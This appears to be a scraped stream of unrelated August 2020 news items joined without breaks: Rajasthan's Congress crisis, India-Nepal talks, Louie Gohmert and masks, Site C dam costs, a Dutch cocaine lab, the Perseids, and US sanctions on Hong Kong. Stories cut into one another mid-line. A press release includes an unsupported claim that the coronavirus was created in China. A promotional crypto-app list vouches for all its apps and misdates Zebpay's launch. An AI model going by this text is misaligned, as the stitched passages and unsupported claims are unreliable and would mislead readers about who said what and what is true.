restrictions with outdoor seating, to-go cocktails Local Eats: Blue Dolphin owner thankful for Kalamazoo communitys support during pandemic 12 Michigan dark-sky spots for watching the Perseid meteor shower this week By federal law, any action challenging the constitutionality of apportionment of congressional districts shall be heard by three judges unless the lower court judge determines otherwise. The coalition also argued that the case should be handled on an expedited basis because it said the Trump administrations memo would force the bureau to improperly rely on statistical sampling instead of an actual population count to determine congressional apportionment. The motion was unopposed. By PTI JAIPUR: Rajasthan Chief Minister Ashok Gehlot on Tuesday said he will address grievances of MLAs, a day after the Congress set up a commitee to look into the issues raised by rebel legislators. A meeting between Sachin Pilot and Rahul Gandhi on Monday signalled an "amicable resolution" of nearly a month-long Rajasthan crisis ahead of the crucial assembly session from August 14. Gehlot said he does not know why some MLAs rebelled and what promises were made to them. "If any MLA is annoyed with me, then it is my responsibility to address that. I have kept doing this in the past and will do this now also," he told reporters before leaving for Jaisalmer. However, he evaded a question on using harsh words against Pilot including calling him a 'nikamma'. Referring to the Congress meeting on Monday, he said decisions were taken and now the future strategy will be decided. He said he has no idea about the formula for Pilot's return. "High command knows this. He will tell his grievances to the three-member committee formed by the party," he said. Asserting that the Congress government in the state will not only complete its five years but will also win the next assembly elections, Gehlot again accused the BJP of conspiring to topple his government at any cost. The BJP has in the past dismissed the allegations. Gehlot said more than 100 MLAs were kept together for a long period and alleged that BJP leaders tried to win them over but not a single MLA went to them. "How can we forget such MLAs? They trusted me and the party high command and agreed to stay together in hotels for long time. I told them that they have created a history and I will be their guardian till my last breath," he said. Gehlot said he recently wrote a letter to all MLAs asking them to listen to the voice of people to save democracy and stand with the truth in the interest of people of the state. Terming it as a struggle to protect democracy, he said when the Congress ruled, there used to be a concern what people will think but now the government at the Centre "cares for nothing". Before leaving for Jaisalmer, Gehlot also met with three independent MLAs with whom the Congress broke ties last month over their alleged involvement in the conspiracy to topple the government. The MLAs Khushveer Singh, Omprakash Hudla and Suresh Tank met the CM at his residence. On Monday, Congress chief spokesperson Randeep Surjewala said, "the political crisis in Rajasthan Congress stands resolved amicably by the intervention of none other than Rahul Gandhi himself. " "This is reflective of steadfast unity in Congress party and the commitment of Congress legislators to never fall prey to BJP's evil designs to defeat democracy," he had said. However, Congress sources had ruled out that Gehlot will be replaced as Rajasthan chief minister or Pilot will be reinstated as party's Rajasthan chief, a post which was filled immediately after the Congress sacked Pilot following his open revolt against Gehlot last month. AICC sources had said all rebel MLAs will return ahead of the August 14 assembly session, and asserted that the Gehlot government was safe. Once all dissidents return, the Congress will have a total strength of 107 MLAs in the 200-member state Assembly where the simple majority is 101. The Congress also has the support of a number of independent MLAs. BJP has 72 MLAs. Party sources had said a formula for Pilot's return was being worked out. They said among the options, one possible agreement discussed during the Monday meeting was favourable voting by Pilot and MLAs loyal to him in case of a trust vote during the upcoming Rajasthan assembly session. Pilot and 18 other MLAs had rebelled against Gehlot, leading to Pilot's sacking as deputy chief minister and state party chief. Indian Ambassador Vinay Mohan Kwatra and Nepal's Foreign Secretary Shanker Das Bairagi are scheduled to hold talks on August 17 in Kathmandu under a bilateral framework, in first major engagement since the ties came under strain after the Himalayan nation came up with a new political map in May. Official sources said the scheduled meeting between Kwatra and the Nepalese foreign secretary under an oversight mechanism is part of a regular interaction between India and Nepal. "This oversight mechanism was set up in 2016 to review ongoing bilateral economic and development projects, and meets on a periodic basis," said a source. The ties between the two countries came under strain after Defence Minister Rajnath Singh inaugurated an 80-km-long strategically crucial road connecting the Lipulekh pass with Dharchula in Uttarakhand on May 8. Nepal protested the inauguration of the road claiming that it passed through its territory. Days later, Nepal came out with the new map showing Lipulekh, Kalapani and Limpiyadhura as its territories. In June, Nepal's Parliament approved the new political map of the country featuring areas which India maintains belong to it. In its reaction, after Nepal's lower house of parliament approved the bill, India termed as untenable the "artificial enlargement" of territorial claims by the neighbouring country. India said Nepal's action violates an understanding reached between the two countries to resolve the boundary issues through talks. Nepalese Prime Minister K P Sharma Oli has been asserting that Lipulekh, Kalapani and Limpiyadhura belong to Nepal and vowed to "reclaim" them from India. WASHINGTON A nonpartisan political watchdog group has asked the ethics office of the U.S. House to investigate Texas Rep. Louie Gohmerts conduct during the coronavirus outbreak as he declined to wear a mask on Capitol Hill and reportedly berated his staff for wearing them. Gohmert tested positive for the coronavirus July 29; after his diagnosis, House Speaker Nancy Pelosi issued a new rule requiring all lawmakers and staffers to wear masks in the chamber. The House had previously only required face coverings at hearings. THE MAN BEHIND THE MASK RULE: Texas Rep. Louie Gohmert catches COVID, criticism At a time when health care and other essential workers lack the personal protective equipment (PPE) to help keep them safe on the job, Rep. Gohmert has repeatedly opted not to wear a mask out of personal preference putting his own health, and the health of all those who work for and around him, in danger, the anti-corruption group Accountable.US wrote in a letter to the Office of Congressional Ethics. And it is troubling to hear that individuals who joined the public service as congressional staff feel they must risk their health and well-being in order to fulfill their charge. POLITICO reported last month that a member of Gohmerts staff wrote to the outlet that Louie requires full staff to be in the office, including three interns, so that We can be an example to America on how to open up safely. When probing the office, you might want to ask how often were people berated for wearing masks, the staffer wrote. Gohmert in a statement denied those claims and said the alleged watchdog group is nothing of the sort. They are apparently an attack dog group from dark web money with no accountability, Gohmert said. I have never berated anyone in my office for wearing a mask nor discouraged them from wearing one. Anyone who says otherwise is a liar. The real story here is: Who is paying this leftist, unaccountable, dark money group to propound such lies? FACT CHECK: Do 1 in 3 Texans lack access to health insurance during the pandemic? The Accountable.US letter also notes that U.S. Rep. Raul Grijalva, an Arizona Democrat, tested positive for the coronavirus after attending a committee hearing that Gohmert also attended. Gohmert, who has said his doctor prescribed him hydroxychloroquine, a coronavirus countermeasure touted by Trump despite stern warnings about side effects from medical experts, said in an interview on KETK last week that he really feels good and that he had felt a little weak and achy and sore, comparing his symptoms to the flu. Asked when he plans to return to work, Gohmert said it wouldnt be until he is cleared. ben.wermund@chron.com VICTORIABritish Columbias massive Site C hydroelectric dam project has been hit hard by the COVID-19 pandemic and now faces construction delays and rising costs. BC Hydro president Chris ORiley said in a quarterly update submitted to the B.C. Utilities Commission that the pandemic has had a material impact on safety, cost and schedule for the project in northeast B.C. Site Cs budget in April 2018 was estimated at $10.7 billion, including reserve and contingency funds amounting to about $1.5 billion for unexpected costs. ORileys update to the utilities commission does not estimate the extent of increased costs but says reserve funds are being accessed. Energy Minister Bruce Ralston says in a statement that hes concerned about the news and has appointed former deputy finance minister Peter Milburn as a special adviser to the project. Site C will be the third dam and hydroelectric generating station on the Peace River and will provide enough energy to power the equivalent of about 450,000 homes per year in B.C. Read more about: WASHINGTON President Donald Trump said Monday that he wants to host the Group of Seven leading industrialized nations after the November presidential election and still wants to invite Russia, which was kicked out of the G-7 after it annexed Crimea. Im much more inclined to do it sometime after the election, Trump told reporters at a White House briefing, adding that due to the coronavirus pandemic, the meeting could be held in person or via teleconference. He said he told his staff on Sunday that hed rather have the summit after the election. He said that would give everyone more time to think about the important meeting. In June, the European Union joined a growing chorus of G-7 members insisting that Russia must not be allowed back into the fold. Trump, as host of this years summit, is in charge of the guest list and has said he plans to invite Russia, Australia, South Korea and India. The G-7 members are Canada, France, Germany, Italy, Japan, the United Kingdom and the United States. The EU, comprising 27 nations, also takes part in the meeting. Russia was suspended in 2014 from what was then the G-8 following its invasion of Ukraine and annexation of Crimea. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor By Tuesday, about 1,000 tons of the fuel had been pumped out of the stranded ship into small tankers nearby, according to a statement from the Wakashios owner, Nagashiki Shipping. About 1,800 tons of fuel remained on the ship by midday and with efforts continuing, some experts expressed hope that all the fuel could be emptied from the ship before it breaks up. THE HAGUE, Netherlands - Dutch police have dismantled what they describe as the biggest cocaine laboratory ever discovered in the Netherlands hidden at a former horse riding school and arrested a total of 17 people from Colombia, Turkey and the Netherlands. Police said in a statement Tuesday that they discovered tens of thousands of litres of chemicals and 100 kilograms (220 pounds) of crack cocaine when they raided the riding school on Friday. They also found sleeping quarters for staff in the building in Nijeveen, 120 kilometres (75 miles) northeast of Amsterdam. Andre van Rijn, chief inspector at the police organization that dismantles such production facilities, said the lab was equipped to produce 150-200 kilograms (330-440 pounds) of cocaine a day, with a street value of 4.5-8 million euros. Police video showed equipment and supplies including plastic barrels and vats of chemicals and a row of five red cement mixers that were used to extract cocaine from products like clothing that are impregnated with the drug before being exported to the Netherlands. Police said that 13 of the suspects in custody are Colombians and one other suspect has dual Dutch and Colombian nationality. They are due to appear before an investigating magistrate on Wednesday and Thursday. OTTAWA, Aug. 11, 2020 (GLOBE NEWSWIRE) -- A business based in Canada has played a crucial role in Afghanistans peace and war efforts by struggling for the last many years. Meladul Haq Ahmadzai CEO of Taleam Systems says that his business has always spoken out for the benefit of peace and an end to the two decades costly war in Afghanistan. Ahmadzai says, Peace is what all Afghans want. He adds, Taleam Systems has been working hard for real and stable peace in Afghanistan for the last many years. Recently, the Afghan government signed a law after meeting with the Loya Jirga members in Afghanistan to release 400 Taliban prisoners. The Taliban have been fighting war since 2001 with the USA forces in Afghanistan. In February of this year, the USA and Taliban formally signed a peace agreement to end the two decades war after President Donald Trump promised to formally withdraw from Afghanistan by 2021. A reduction in American forces for the peace in Afghanistan is already underway to 4000 before the USA 2020 elections. Sources in the media assume President Trumps decision on withdrawing from the Afghan war was due to COVID-19 pandemic. The virus is believed to have been created in China. Today, more than 5 million Americans have contracted the virus. Ahmadzai says, When peace comes to Afghanistan, the people will live in peace forever. Ahmadzai refers to the education sector, accessible health, and business opportunities to increase in the country once war ends in Afghanistan. Taleam Systems has also built computer technology without electric power and the technology is available to healthcare workers and medical clinics in Canada and as well around the world. Taleam Systems has been working for peace in Afghanistan and is a tech business in Canada. To learn more about Taleam Systems services, visit www.taleamsystems.com Media Contact: Meladul Haq Ahmadzai CEO, Taleam Systems Phone: 613-521-9229 Congress leader and former Union minister on Monday demanded that the Uttar Pradesh government restore Parshuram Jayanti as a state holiday. Prasada's request has come a day after BSP chief Mayawati announced that if voted to power, her party will build hospitals in the name of Parshuram and saints revered by other communities. In a letter to Chief Minister Yogi Adityanath, Prasada said, "Parashuram is held in high esteem by the Brahmins, but your government cancelled the holiday on his Jayanti." "I request you to restore the holiday in keeping with the sentiments of the Brahmins," he said. He had last month announced that his 'Brahman Chetna Parishad' would work towards uniting all Brahmins in the state. Mayawati on Sunday said, "If the BSP comes to power, it will build hospitals and guest houses in the name of Brahmin saint Parshuram as well as saints revered by other castes and communities." She also criticised the Samajwadi Party for wanting to woo Brahmins by building statues of Parshuram ahead of the 2022 assembly elections. In the past few days, some Brahmin leaders of the Samajwadi Party have announced that a grand 108 feet high statue of Parshuram will be set up either in Lucknow or Lucknow-Agra expressway. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Metro Manila (CNN Philippines, August 11) Metro Manila may need another round of the modified enhanced community quarantine as the country may lose gains in the COVID-19 fight if the hotspot region eases to a more relaxed lockdown status, a health advocate said Tuesday. Speaking to CNN Philippines, Dr. Tony Leachon called for a two-week extension of the MECQ, saying the best option to acutely arrest the spread of the coronavirus is to impose a tighter quarantine. Two weeks is not enough considering we have higher (number of COVID-19) cases than Cebu and this is the National Capital Region and it will take some time, Leachon said in an interview with The Source. Were settling for an MECQ, but I think we need another round or perhaps two weeks of MECQ in order to arrest the cases. Leachon, citing a criteria by the World Health Organization, said countries seeking to gradually lift restrictions should have been able to control the spread of the virus and should have sufficient healthcare capacities categories he said the Philippines has yet to fulfill. Sa tingin ko, masasayang (ang gains) kasi hindi natin mafufulfill 'yung WHO criteria. Medyo shaky ang ating healthcare system to start with Sa tingin ko, hindi pa tayo ready, he added. [Translation: I think our gains will be put to waste because we wont be able to fulfill the WHO criteria. Our healthcare system is a little bit shaky to start with I think were not yet ready.] He added that a transition back to a general community quarantine which allows more mobility and public transport may put a halt to any downward trend seen in the recorded COVID-19 data in the past days. Extend or return to GCQ? Presidential Spokesperson Harry Roque acknowledged the advantages of a prolonged MECQ for the health sector, but noted members of the workforce and the poor families will suffer the consequences in the long run. Ang problema po wala na tayong pang-ayuda So unless si Dr. Leachon po ay pu-pwedeng magbigay ng ayuda sa lahat ng nais niya na mapasalilalim pa sa MECQ nang dalawa pang linggo ay talagang hindi na kakayanin, Roque said in his virtual press briefing, in response to Leachons proposal. [Translation: The problem is, we dont have funds for cash asssitance anymore. So unless Dr. Leachon can give aid while the MECQ is extended we cant do it.] READ: Extended MECQ highly unlikely with no new sources of cash aid funds Roque Metro Manila and the provinces of Bulacan, Cavite, Laguna, and Rizal where majority of the new COVID-19 cases have been recorded were placed back under MECQ until August 18 following pleas from frontliners seeking breather from the virus battle. Representatives from the business sector are also wary of a possible quarantine extension, as they voiced out the need to balance health and economy amid the crisis. In line with this goal, some officials have pushed for the strict implementation of selective lockdowns in local government units. Leachon, however, expressed concern over the effectiveness of the localized quarantine measures, given some workers would still be going on cross-border travels to reach their destinations. The Inter-Agency Task Force is set to meet on Wednesday to finalize its recommendation whether to place Metro Manila and the four provinces under GCQ or extend the MECQ. President Rodrigo Duterte will have the final say on the fate of these areas. The country once again reported a record-high increase in daily COVID-19 cases, with nearly 7,000 new infections listed on Monday. These brought the Philippines national case count to 136,638. Siddhanta Mishra By Express News Service NEW DELHI: The AAP government in Delhi wants to fund incentivizing its Delhi Electric Vehicle (EV) policy notified last week by introducing the feebate system. Simply put, feebate prepared by NITI Ayog proposes a surcharge on inefficient polluting vehicles while offering a rebate to efficient ones. The policy makes a case for incentives of up to Rs 1.5 lakh for the purchase of new electric cars. An incentive of up to Rs 30,000 will be provided for e-two-wheelers, autos, e-rickshaws and freight vehicles. We are also going to give a scrapping incentive for those wanting to exchange their petrol or diesel-run vehicles. In the country, this is the first time that scrapping incentive is being given, Kejriwal said. According to the EV policy, funding for the various incentives being offered will be obtained from the sources aggregated under an umbrella of non-lapsable state EV fund. To make electric vehicles more lucrative, NITI Ayog explored the concept in collaboration with US-based Rocky Mountain Institute. It is based on the polluter pays principle. A think-tank report said, feebate policies are in place in Austria, Denmark, the Netherlands, France, Canada and Singapore. Experts, however, doubt the implementation of the concept as all these countries have a robust electric vehicle infrastructure in place. Implementing the feebate concept is difficult. The EV policy talks about many things but the prices at current products available reduce the option for customers interested in e-vehicles. So, taking fee from one in order to attract the other citizen is a good concept, but in India it is difficult said Vel Murugan, Chief Scientist at the Central Road Research Institute (CRRI). The shower will reach its peak activity over the next two nights, August 11th and 12th, with 20 times more shooting stars visible than a normal night from dusk until dawn. Astronomy Ireland says the natural celestial fireworks display can be enjoyed by star gazers from anywhere on the island with just the naked eye and a dark part of the sky away from street lights. David Moore, founder of Astronomy Ireland, says the display will be spectacular: This shower is known for producing some brilliant fireballs. I remember seeing one that lit up the whole countryside like daylight for a few seconds. We should see about 20 times more shooting stars, or meteors to give them the correct name, than a normal night, so you might be hanging around for 10 minutes in a dark country sky to see one you could be seeing two per minute tonight. Advertisement A Perseid's meteor fireball runs through the heart of the Milky Way on Saturday night at Slieve League, Co Donegal. Great to capture it, especially given the 75% Moon. Tap to expand to see all the star light! pic.twitter.com/9dNdu0qJPC Alistair Hamill (@ahamillphotos) August 10, 2020 The comet that causes the Perseids, the Comet Swift-Tuttle, orbits the sun every 130 years and last came close in 1992. Meteors are the result of small particles from comets burning up high in the earth's atmosphere. Astronomy Ireland is asking everyone in Ireland to help count the shooting stars this year by filling out a form on its website. We want people to count them for every 15 minutes. Start on the hour, and we can then track how the shower peaks and how intense it is, and comparing that to the previous year, thats how we know that this is one of the best of the years, says Mr Moore. Theres another one in December thats vying for title of best meteor shower of the year. Star gazing is a popular activity in Ireland, with Astronomy Ireland being the largest astronomy club in the world relative to population size. Paprika, a type of bell pepper (Source: Yonhap News) The RoK had been negotiating with Vietnam since 2008 on export terms for paprika, according to the Ministry of Agriculture, Food and Rural Affairs. Korean exports of paprika reached 91.5 million USD in 2019, with Japan accounting for 99.7 percent of the volume. Other destinations include Taiwan, Hong Kong, Singapore and Russia. Last year, Vietnam imported 16 million USD worth of Korean pears, followed by strawberries with 6.6 million USD. Grapes and apples were also among the popular Korean agricultural products in Vietnam. Vietnam was the third-largest export destination for the RoK in 2019, with China and the US standing as the top two. The RoKs combined exports to Vietnam in 2019 reached 48 billion USD, down 0.9 percent from a year earlier./. Share this article Whatsapp Facebook Twitter Linkedin Nina A. Loasana (The Jakarta Post) Jakarta Tue, August 11, 2020 07:29 526 6657ac82168da9fa101c8a4066cf6f20 1 National Joko-Widodo,Jokowi,North-Sumatra,Sumatra-Utara,farmers,land-dispute,Deli-Serdang Free Hundreds of farmers have walked thousands of kilometers from their homes in Deli Serdang regency, North Sumatra, to the capital city to demand that President Joko Jokowi Widodo settle a land dispute that evicted them from their farmland. Some 170 farmers walked 1,812 kilometers from their hometown to meet the President, arriving in Jakarta on Sunday after a 45-day-long journey, Aris Wiyono from the United Simalingkar Farmers Union said. The farmers are in a years-long land dispute with state-owned plantation company PT Perkebunan Nusantara II (PTPN II). "Many of us have been living in cowsheds after we lost our homes and farms. We decided to walk to Jakarta because regional administrations could not give us any solutions," Aris said in an online press conference on Monday. "Conflict could ensue if we decide to fight for our land. Walking to Jakarta is the only way to minimize victims and avoid criminalization. Read also: North Sumatrans demand ownership of former PTPN II land The farmers plan to stage a protest in front of Merdeka Palace in Central Jakarta on Tuesday. Aries said after arriving in Jakarta that the farmers held a meeting with officials from PTPN II, the State-Owned Enterprises Ministry and members of the House of Representatives, but they were not given any solutions. "We want President Jokowi to settle the dispute once and for all," he said. Benny Wijaya from the Agrarian Reform Consortium (KPA) claimed the land conflict, taking place in two villages in Deli Serdang, was only the tip of the iceberg for land dispute problems between farmers and state-owned enterprises. He said the conflict set a bad precedent for President Jokowi's vow for agrarian reform. "In reality, we are still seeing a lot of land conflicts even amid the COVID-19 pandemic." Benny expressed hope that the government could settle the dispute as soon as possible to prevent more farmers from becoming victims. (nal) "In this COVID-19 economy, the R&D credit can provide businesses a valuable source of cash flow," said Carli Huband, Partner-in-Charge of Aprios R&D Tax Credit Services group. Joint venture expands Aprios R&D tax credit capabilities to U.K. Aprio LLP, a nationally-recognized top 50 CPA-led business advisory firm, and London-based accounting firm Moore Kingston Smith announced today their partnership in a Research & Development (R&D) Tax Services practice to meet the needs of growing businesses in the United Kingdom. Aprios R&D Tax Credit Services group, founded in 2008, helps companies across all business sectors that are innovating, designing, developing or improving products, processes, formulas or software to leverage the R&D credit to increase profitability and finance future growth. Were thrilled to be able to provide R&D tax credit services to businesses in the U.K. in partnership with Moore Kingston Smith, said Carli Huband, Partner-in-Charge of Aprios R&D Tax Credit Services group. In this COVID-19 economy, the R&D credit can provide businesses a valuable source of cash flow. In the U.K., for example, the credit is refundable, meaning clients can get cash back rather than apply the credit to their tax responsibility, which in these uncertain economic times can provide a significant benefit to businesses. We are delighted to build on the strong working relationship we share with Aprio and offer this additional service to our clients, says Graham Tyler, Partner, Moore Kingston Smith. Aprio is a leader in R&D Tax Credit Services and together we will assist U.K. businesses in taking full advantage of this lucrative credit. For more information about Aprios R&D Tax Credit Services, visit https://www.aprio.com/service/business-tax/tax-credits-and-incentives/rd-tax-credits/. For more information about Moore Kingston Smiths R&D Tax Credit services, visit https://mooreks.co.uk/services/advisory/research-and-development/. About Aprio Aprio is a premier full-service, CPA-led business advisory firm based in Atlanta, Georgia, that advises clients and associates on how to achieve whats next. Aprios associates work as integrated teams across advisory, assurance, tax, outsourced accounting solutions and private client services, bringing the best thinking and personal commitment to each client. Across practices, Aprio brings together proven expertise, deep understanding and strategic foresight for industries including Manufacturing and Distribution; Non-Profit and Education; Professional Services; Real Estate and Construction; Retail, Franchise and Hospitality; and Technology and Biosciences. In 65 years, Aprio has grown to over 550 team members. To serve clients wherever life or business may take them, Aprios teams speak more than 30 languages and work with clients in over 40 countries. In addition to its Atlanta headquarters, Aprio also operates in Birmingham, Ala. and Charlotte, Greensboro, Mt. Airy and Asheboro N.C. For more, visit https://www.aprio.com. About Moore Kingston Smith Moore Kingston Smith is a dynamic, leading U.K. firm of accountants and business advisers helping clients thrive since 1923. As trusted advisers to businesses, private individuals and not for profit organizations, Moore Kingston Smith is passionate about helping clients achieve their ambitions and committed to supporting them through good and tough times. The highly experienced team of over 60 partners and more than 500 staff based in and around London have the strategic insight, drive and dedication to deliver results. Moore Kingston Smith is a leading member of the Moore Global Network, an international family made up of over 30,000 people across more than 100 countries where members connect and collaborate to take care of clients needs at a local, national and international level. For more, visit https://mooreks.co.uk/. After a long wait, the supreme court has finally lifted the restriction on the use of the cryptocurrency. After seeing the performance of the cryptocurrency in the lockdown period, the supreme court was convinced that the cryptocurrency might bring positive changes in the payment system. There have been several platforms that have surfaced up recently. Platforms like bitcoin pro, Bit trader, Coinbase now have food a new market in India. After seeing the number of traders that have increased in the past couple of weeks, some of the platforms have launched their applications. Advertisement In this article, we will take you on a short ride to show you are Crypto trading apps currently being used in India. Top Crypto Trading Apps Bitcoin trading volume in India had surpassed the hike of 2017 when bitcoin was enjoying its golden year. Since the lockdown began, the trading volume of the bitcoin has increased by ten folds. Lets have a look at the applications that were used by the Indians to make crypto trades. Advertisement 1. Coinbase Coinbase is one of the most trusted and recognized Crypto exchange platforms in the world. It has more than 25 million users across 32 nations. Coinbase allows you to exchange in more than 20 types of Cryptocurrencies. All the exchanges are very secure. The best part of the Coinbase is that it has a simple, user-friendly dashboard that helps the new user to understand every aspect and features of the Coinbase. It has real-time access to your account, which means you can view your Crypto assets in real-time. Advertisement Coinbase not only focuses on the trade, but it also makes sure that the user is well informed about the current happening in the trade market. 2. Binance Binance is the worlds largest crypto trading platform in terms of trading volumes. It integrates several tech companies with the Cryptocurrencies and provides more 150 Cryptocurrencies for the Crypto exchanges. Advertisement Users can easily buy and sell cryptocurrencies from this platform. It helps you with single tap price alerts, dynamic price charts, and a secure gateway for easy liquidity. This app also has a recurring buy option, enabling the user to see how frequently they cryptocurrencies. Recurring buy can be automated with just simple settings. You can even send and receive Crypto coins from your friends and relatives with the help of the Binance wallet. 3. WazirX Advertisement This cryptocurrency exchange platform WazirX is one of the fastest platforms that help you with lightning-fast INR deposits and withdrawals. It has advanced trading interphase that allows the users to buy and sell cryptocurrency from an open order book system. This app supports several digital assets like Bitcoin, Ethereum, Ripple, Litecoin, DASH, XRP, etc. You can do P2P transactions with lightning-fast speed. With the WazirX, you can get minute to minute tracking of the trading volumes, and advance passcode for the security features. These two features will surely help you with your trades. Advertisement 4. Unocoin Unocoin is one of Indias leading Crypto exchange companies that boast of having more than a million users databases. This company is backed by some of the leading Virtual currencies companies like Huiyin Blockchain, Blume ventures, and Mumbai angles. The sole purpose of this app is to democratize Bitcoins for the millions of Indians. Hence, if you are a user who wants to buy, sell, and store cryptocurrencies in the form of INR, it will be advantageous. Advertisement Unocoin top features are its low transaction fees, live price tracker, secure wallet for Crypto holding, and provide automation with buying and selling of the bitcoins. 5. Zebpay Zebpay is the new addition in the list of the Indian Crypto exchange platforms. It was launched in 2020. Today, it is providing its services to more than 130 nations. These applications trade with pairs, that means you can buy with one cryptocurrency with the others. Also, you can access Crypto to euro and Crypto to dollar trading. Conclusion With that being said, now you know which applications are performing well in India. All the apps mentioned above are trial and tested and are trusted by many experienced traders. We hope that we were able to give you the information you were looking for. Thailand has reopened schools for students, but the images of kids in classrooms are proof that life will not be the same as before any time soon. Images of students desk set apart and each having to put their heads inside a plastic sheet are doing rounds on social media, showing the strict social distancing measures being taken at schools to avoid the spread of coronavirus. Twitter/@AhmedNiyaa7788 In other images reportedly from a nursery, little kids can be seen playing inside small transparent screened-off areas, alone. The images were taken in Wat Khlong Toey School in Bangkok, which welcomed 250 students back to the classrooms, sometime ago. The kindergarten was closed since mid-March after authorities in Thailand issued a nationwide lockdown to prevent the spread of the virus, much like many other countries. Also Read: Kids Sit In 'Boxes' To Maintain Social Distancing In School Playground Twitter/@Smallschools Separate play areas have been set up for every student, plastic screens set up at their respective desks in classrooms, and socially-distanced boxes on the floor for pupils to stand in. There are also temperature scanners in the nursery's entrance, with soap dispensers located outside each classroom. Thailand has a relatively low death count compared to other countries, still the schools have taken measures for their staff and pupils. Also Read: E-rick Driver Comes Up With Unique Social Distancing Idea, Anand Mahindra Wants Him As Advisor Lauren DeCicca These images and precautions appear borderline dystopic, and tell us that the coming generations might not be raised the way we were. Even after a cure or vaccine is found, physical interaction with strangers and acquaintances will be bare minimum. The batch of 2020, in every class of school, college or any other educational institution have had to face challenges like no other students in recent history. Atmore police have arrested a woman on murder charges in connection with the discovery in March of her sisters decomposing corpse. Officers arrested Josephine Gaines, 34, on Sunday after a traffic stop. Police said Gaines was a passenger in a vehicle when officers stopped a car on South Main Street in Atmore. Gaines had an outstanding murder warrant and was taken into custody. As officers escorted her into the Atmore City Jail, police said she fled the scene. Gaines was taken back into custody following a short foot chase. The murder charge stems from a discovery back on March 26 at a mobile home at 71 Jones Street. Police went to the address on a burglary-in-progress call at 10:20 p.m. that day. When they arrived, they found the residence had been forcibly entered. During a room-to-room search, officers discovered a badly decomposed body, believed to be that of a woman. Dental records and a forensic investigation later revealed the body was Vandoren Daily, who police say was Gaines sister. Investigators say Gaines was responsible for Daily, who was unable to care for herself, and had apparently been left alone in the mobile home for several months. Gaines also faces a charge of third degree escape. Carrie Lam, Hong Kong's chief executive, speaks at a news conference in Hong Kong, China, on Wednesday, July 1, 2020. Paul Yeung | Bloomberg | Getty Images U.S. sanctions on Hong Kong leader Carrie Lam raises uncertainty for international banks that were looking at a historic opening of the Chinese financial market. The U.S. Treasury announced Friday sanctions on the semi-autonomous region's chief executive and 10 other government-related individuals for "undermining Hong Kong's autonomy" and restricting freedom of expression. The decision generally prohibits the targeted individuals from accessing their U.S. assets and transacting with U.S. persons, including provision of funds. "It is at the very least awkward for US and foreign banks wanting to take advantage of market opening in China," Michael Hirson, practice head, China and Northeast Asia, at consulting firm Eurasia Group, said in an email to CNBC on Monday. He expects that while the Chinese government will not retaliate against the foreign banks, they will fall under greater pressure from the U.S. "Banks that don't comply with these sanctions risk losing access to the US financial system, which is of course an existential threat," Hirson said. In response, China on Monday sanctioned 11 American citizens including lawmakers such as Senators Ted Cruz, Marco Rubio and Tom Cotton. It was not immediately clear what the sanctions entailed. The massive U.S. financial system had assets of about $100 trillion as of the end of 2019, according to the International Monetary Fund. About 22% of those assets were in the banking system, the fund said. It's not clear how large China's financial system overall is. However, Chinese banking institutions had assets of 285 trillion yuan ($40.7 trillion) at the end of September 2019, according to state reports. China's stock and bond markets are among the largest in the world. But the mainland financial industry is generally in the early stages of development, presenting both risks and significant growth opportunities. After decades of keeping the mainland financial market relatively closed to foreigners, the central Chinese government began to roll back restrictions on investment and ownership in the last two years. Many European, Japanese and American financial firms have responded with plans to expand in the Chinese market, although some say years of policy restrictions have given local players an unfair advantage. Pedestrians wearing protective masks walk past a logo displayed at a HSBC bank branch in the central district of Hong Kong. Roy Liu| Bloomberg | Getty Images The U.S. sanctions are intended to force major multinational corporations, foreign banks and U.S. allies to choose between China and the U.S., said Shen Yamei, deputy director and associate research fellow at state-backed think tank China Institute of International Studies' department for American studies. That's according to a CNBC translation of her Chinese-language remarks in an email Monday. Theoretically, major banks' cooperation with U.S. banks may be cut off, potentially restricting U.S. dollar transactions, she said, noting the sanctions ultimately undermine the fairness of the international business environment. "(In taking countermeasures), China will not choose the method of sacrificing its own interests and the overall reform and opening up, but will promote reform and opening up, according to its own plan. This is the established policy (direction)," Shen said. Changes under new security law The latest U.S. sanctions come after Beijing enacted a new security law following protests that erupted in Hong Kong last year over a controversial extradition bill turned into violent clashes with local police, all under Lam's watch. "I was surprised that Mrs. Lam was included in the sanctions, and it seems to be intended to be a strong signal," Kurt Tong, former U.S. consul general to Hong Kong, said in an email Monday. "I imagine that her decision to postpone the Legislative Council election (to next year) was a big part of the decision to include her," said Tong, now a partner at The Asia Group, a business advisory group. Hong Kong and Beijing have so far focused their authorities under the national security law on protesters and politicians and have so far demurred on targeting foreign businesses, given the danger of causing an exodus of foreign firms, but may retaliate in softer ways such as loss of business. Michael Hirson Eurasia Group Hong Kong, a former British colony that returned to Chinese rule in 1997, has a separate legal and economic system from the mainland under the "one country, two systems" principle of government. The central government in Beijing strengthened its control of Hong Kong in late June when it passed a national security law that can bypass regional authorities. Local police arrested outspoken media tycoon Jimmy Lai on Monday in the most high-profile implementation of the law to date. Media mogul Jimmy Lai Chee-ying, founder of Apple Daily is detained by the national security unit in Hong Kong, China August 10, 2020. Tyrone Siu | Reuters "Hong Kong's national security law contains provisions that seem to make the imposition of such sanctions illegal, placing banks at legal risk within the territory," Eurasia Group's Hirson and his team said in a note Friday. "Hong Kong and Beijing have so far focused their authorities under the national security law on protesters and politicians and have so far demurred on targeting foreign businesses, given the danger of causing an exodus of foreign firms, but may retaliate in softer ways such as loss of business." The Hong Kong Monetary Authority said Saturday that the latest U.S. sanctions had no legal status in the region and there was no obligation for authorized institutions in Hong Kong to comply. "In any case, ensuring national security is an important matter of principle, with no room for compromise, and no need for concern about the threat of so-called sanctions," Hong Kong Financial Secretary Paul Chan wrote Sunday in a Chinese-language blog post, according to a CNBC translation. "(We) only need to be prepared, under the firm support of the country, Hong Kong will certainly become stronger and more competitive," he said. Growing U.S.-China rivalry Hong Kong has attracted businesses from around the world with an operating environment that adheres more closely to international standards than the mainland, while sitting at the entrance to the world's second-largest economy. However, Beijing's tighter control of the region has become one of many points of contention between the U.S. and China as incumbent U.S. President Donald Trump seeks re-election in November. Chinese President Xi Jinping (R) and US President Donald Trump attend their bilateral meeting on the sidelines of the G20 Summit in Osaka on June 29, 2019. Brendan Smialowski | AFP | Getty Images The latest move by the U.S. only toughens its position against efforts to reduce Hong Kong's autonomous status, said Scott Kennedy, senior advisor and trustee chair in Chinese Business and Economics, at the Center for Strategic and International Studies in Washington, D.C. "I wouldn't be surprised if the US eventually expands similar 